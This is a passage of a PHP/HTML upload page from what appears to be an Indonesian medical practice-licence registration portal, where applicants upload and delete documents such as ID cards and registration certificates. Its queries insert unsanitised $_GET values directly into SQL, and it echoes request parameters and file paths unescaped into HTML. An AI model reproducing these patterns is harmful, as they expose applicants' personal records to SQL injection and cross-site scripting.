		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>



	 <?php 



		 }



		  ?>		



			</tr>







	







		















			<?php      



				 if( $status =='rekom_revisi_praktek' AND $kota=='bandung'){		 



			 ?>		 	



							<br>















			   <tr>



							<td data-header="No" class="title"></td>



							<td data-header="Jenis Berkas" >



									<form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">







					<input type="checkbox" name="nm_surat" value="32" checked > - Formulir DPMPTSP Perubahan Jadwal Praktek.  <br><br>	







				<input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



				<input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />



						<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



			<input name="nourut" type = "hidden" readonly class="form-control"  value="8"  />



				<input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



				<br>	







					 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



					<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



				<br>



					<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



				</form>



				<br/>  







							</td>



							<td data-header="Keterangan" >















						 <?php



				  //require 'config.php';



				  $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='8' order by nourut ") or die(mysqli_error());



				   $no = 1;



				   $total2=0;



					while($fetch = $row->fetch_array()){







					$potong_kalimat = substr($fetch['file'],-4);







					//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



					  $nourut3= $fetch['nourut'];  



				   $pdf=$fetch['file'];



				   ?>







					<?php 



					$name = explode('/', $fetch['file']);



					?>			 























								 <?php 



								  if ($nourut3=='8'){







								  ?>







								  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	







												 <?php 



												if ($potong_kalimat==".pdf"){



												?>	



												<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



												 <?php	



												}else{



												?>	







											  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



												 <?php	



												}



												?>







												 <br>  



												  <br>  



												 Berhasil di Upload</td>



									<?php	







									}



									?>	















				  <td>



					   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>



	 		</tr>



			



			



				<?php	



				}



				  ?>		



			















	      <?php		



				 }elseif ( $status =='rekom_baru' || $status =='rekom_tambah_praktek'  AND $kota=='bandung' ){



			?>					 



								 



						   <tr>



							<td data-header="No" class="title"></td>



							<td data-header="Jenis Berkas" >



									<form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">







					<input type="checkbox" name="nm_surat" value="33" checked > - Form DPMPTSP dokter Spesialis.  <br><br>	







				<input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



				<input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />



						<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



				<input name="nourut" type = "hidden" readonly class="form-control"  value="8"  />



				<input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



				<br>	







					 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



					<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



				<br>



					<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



				</form>



				<br/>  







							</td>



							<td data-header="Keterangan" >















						 <?php



				  //require 'config.php';



				  $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='8' order by nourut ") or die(mysqli_error());



				   $no = 1;



				   $total2=0;



					while($fetch = $row->fetch_array()){







					$potong_kalimat = substr($fetch['file'],-4);







					//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



					  $nourut3= $fetch['nourut'];  



				   $pdf=$fetch['file'];



				   ?>







					<?php 



					$name = explode('/', $fetch['file']);



					?>			 























					 <?php 



					  if ($nourut3=='8'){







					  ?>







					  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	







						 <?php 



						if ($potong_kalimat==".pdf"){



						?>	



						<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



						 <?php	



						}else{



						?>	







					  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



						 <?php	



						}



						?>







									 <br>  



									  <br>  



									 Berhasil di Upload</td>



			 					<?php	







									  }



									?>	















				  <td>



					   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>



	 







			<?php		



				 }



			?>



</tr>



			



			



		<?php		



				 }elseif ($kota=='luar_kota' || $status =='rekom_baru' || $status =='rekom_tambah_praktek'  ||$status =='rekom_revisi_praktek'){



			?>					 



								 



						   <tr>



							<td data-header="No" class="title"></td>



							<td data-header="Jenis Berkas" >



									<form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">







					<input type="checkbox" name="nm_surat" value="44" checked > - Formulir SIP Luar kota Bandung.  <br><br>	







				<input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



				<input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />



						<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



				<input name="nourut" type = "hidden" readonly class="form-control"  value="10"  />



				<input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



				<br>	







					 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



					<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



				<br>



					<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



				</form>



				<br/>  







							</td>



							<td data-header="Keterangan" >















						 <?php



				  //require 'config.php';



				  $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='10' order by nourut ") or die(mysqli_error());



				   $no = 1;



				   $total2=0;



					while($fetch = $row->fetch_array()){







					$potong_kalimat = substr($fetch['file'],-4);







					//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



					  $nourut3= $fetch['nourut'];  



				   $pdf=$fetch['file'];



				   ?>







					<?php 



					$name = explode('/', $fetch['file']);



					?>			 























					 <?php 



					  if ($nourut3=='10'){







					  ?>







					  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	







						 <?php 



						if ($potong_kalimat==".pdf"){



						?>	



						<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



						 <?php	



						}else{



						?>	







					  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



						 <?php	



						}



						?>







									 <br>  



									  <br>  



									 Berhasil di Upload</td>



			 					<?php	







									  }



									?>	















				  <td>



					   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>



	 	



					<?php	



					}







					



				  ?>







</tr>



			











<?php		



				 }



			?>















<tr>



				<td data-header="No" class="title"></td>



				<td data-header="Jenis Berkas" >



					    <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="42" checked > Softcopy (berwarna/sesuai asli) Surat keterangan/Pengantar dinas kesehatan yg menyatakan sudah/belum mempunyai tempat  Praktek  (bagi domisili yang berbeda dengan tempat praktek).



	<br> <br> 	  	



					



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />



			<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



							<input name="nourut" type = "hidden" readonly class="form-control"  value="9"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>	



			



		 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>  



				



				</td>



				<td data-header="Keterangan" >



				



				



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='9' order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut3= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut3=='9'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>



		



	



	  



	   				<?php	







						  }



						?>	



	  </tr>















		 	<?php								   



		//batas tutup perihal										   



				 }



		     ?>	







 <?php



       if  ( $perihal =='rekomendasi_SIP_PPDS_I' || $perihal =='rekomendasi_SIP_PPDS_II' ){



	?>











<tr>



		<td data-header="No" class="title">1</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="1" checked > 1. Softcopy Formulir SIP PPDS. <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="1"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>



				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='1'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='1'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	






						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>		



	</tr>	











	<tr>



		<td data-header="No" class="title">2</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="2" checked > 2. Softcopy KTP. <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="2"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='2'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='2'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>











<tr>



		<td data-header="No" class="title">3</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



						  <?php

				   if ( $perihal =='rekomendasi_SIP_PPDS_I'){



					  //umum ke spsialis,  sip_ppds2 (biasa)) 

				//form sip ppds yg keluar kota form 



				?>	 	

			

			

		<input type="checkbox" name="nm_surat" value="12" checked > 3. Softcopy STR PPDS. <br><br>	

		

			

			 <?php 

		 }else{

		  ?>

			

			

				<input type="checkbox" name="nm_surat" value="4" checked > 3. Softcopy STR. <br><br>	

			

					 <?php 

		 }

		  ?>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="3"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='3'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='3'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>











<tr>



		<td data-header="No" class="title">4</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="4" checked > 4. Softcopy Surat Penerimaan PPDS. <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="4"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='4'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='4'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>







<tr>



		<td data-header="No" class="title">5</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="39" checked > 5. FC Rekomendasi dari Kolegium. <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="5"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='5'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='5'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>











<tr>



		<td data-header="No" class="title">6</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="40" checked > 6. Surat Domisili di Kota Bandung apabila KTP diluar Kota Bandung. <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="6"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='6'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='6'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>







<tr>



		<td data-header="No" class="title">7</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="41" checked > 7. Rekomendasi dari IDI Cabang setempat/asal apabila bukan anggota IDI Cabang Kota Bandung. <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="7"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='7'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='7'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="400" height="400"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>







<?php	   



	 if ($kota<>'bandung'){						 



?>



	<tr>



				<td data-header="No" class="title"></td>



				<td data-header="Jenis Berkas" >



					    <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="38" checked > Formulir SIP PPDS Luar kota Bandung.



					



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />



	<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



	<input name="nourut" type = "hidden" readonly class="form-control"  value="17"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>	



			



		 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>  



				



				</td>



				<td data-header="Keterangan" >



				



				



					 



			 <?php



      //require 'config.php';



